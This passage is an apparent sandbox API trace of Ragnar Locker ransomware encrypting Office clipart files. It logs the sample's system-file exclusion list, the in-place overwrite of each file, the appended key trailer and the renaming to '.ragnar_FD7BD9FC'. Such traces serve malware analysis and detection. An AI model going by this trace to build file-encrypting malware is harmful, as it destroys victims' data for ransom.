out: lpNewFilePointer=0x0) returned 1 [0090.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.643] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.643] GetProcessHeap () returned 0x580000 [0090.643] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.643] CloseHandle (hObject=0xf4) returned 1 [0090.643] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" [0090.643] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ragnar_FD7BD9FC" [0090.643] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0090.644] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.644] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00157_.WMF" | out: lpString1="SO00157_.WMF") returned="SO00157_.WMF" [0090.644] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF") returned=".WMF" [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="autorun.inf") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="boot.ini") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="bootfont.bin") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="bootsect.bak") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="bootmgr") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="bootmgr.efi") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="desktop.ini") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="iconcache.db") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="ntldr") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="ntuser.dat") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="ntuser.ini") returned 1 [0090.644] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="thumbs.db") returned -1 [0090.644] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.644] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.644] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.644] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.644] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.645] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.645] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf")) returned 0x20 [0090.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18260) returned 1 [0090.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x474b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.646] GetProcessHeap () returned 0x580000 [0090.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.646] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.647] VirtualAlloc (lpAddress=0x0, dwSize=0x4754, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.647] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4754, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4754, lpOverlapped=0x0) returned 1 [0090.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.648] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4754, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.648] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4754, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4754, lpOverlapped=0x0) returned 1 [0090.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4754, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.649] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.649] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.649] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.649] GetProcessHeap () returned 0x580000 [0090.649] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.649] CloseHandle (hObject=0xf4) returned 1 [0090.649] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" [0090.649] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ragnar_FD7BD9FC" [0090.650] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.650] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0090.650] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.650] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00159_.WMF" | out: lpString1="SO00159_.WMF") returned="SO00159_.WMF" [0090.650] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF") returned=".WMF" [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="autorun.inf") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="boot.ini") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="bootfont.bin") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="bootsect.bak") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="bootmgr") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="bootmgr.efi") returned 1 [0090.650] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="desktop.ini") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="iconcache.db") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="ntldr") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="ntuser.dat") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="ntuser.ini") returned 1 [0090.651] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="thumbs.db") returned -1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.651] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf")) returned 0x20 [0090.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.653] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8230) returned 1 [0090.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x201d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.653] GetProcessHeap () returned 0x580000 [0090.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.653] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2026, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.655] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2026, lpOverlapped=0x0) returned 1 [0090.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.656] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2026, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.656] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2026, lpOverlapped=0x0) returned 1 [0090.656] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2026, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.656] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2026, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.656] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.656] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.656] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.656] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.656] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.657] GetProcessHeap () returned 0x580000 [0090.657] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.657] CloseHandle (hObject=0xf4) returned 1 [0090.657] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" [0090.657] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ragnar_FD7BD9FC" [0090.657] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.657] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0090.657] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.657] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00166_.WMF" | out: lpString1="SO00166_.WMF") returned="SO00166_.WMF" [0090.658] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF") returned=".WMF" [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="autorun.inf") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="boot.ini") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="bootfont.bin") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="bootsect.bak") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="bootmgr") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="bootmgr.efi") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="desktop.ini") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="iconcache.db") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="ntldr") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="ntuser.dat") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="ntuser.ini") returned 1 [0090.658] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="thumbs.db") returned -1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.658] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf")) returned 0x20 [0090.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.659] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13746) returned 1 [0090.659] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.659] GetProcessHeap () returned 0x580000 [0090.659] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.659] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.660] VirtualAlloc (lpAddress=0x0, dwSize=0x35b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.661] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x35b2, lpOverlapped=0x0) returned 1 [0090.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.662] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x35b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x35b2, lpOverlapped=0x0) returned 1 [0090.662] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.662] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x35b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.662] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.662] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.662] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, 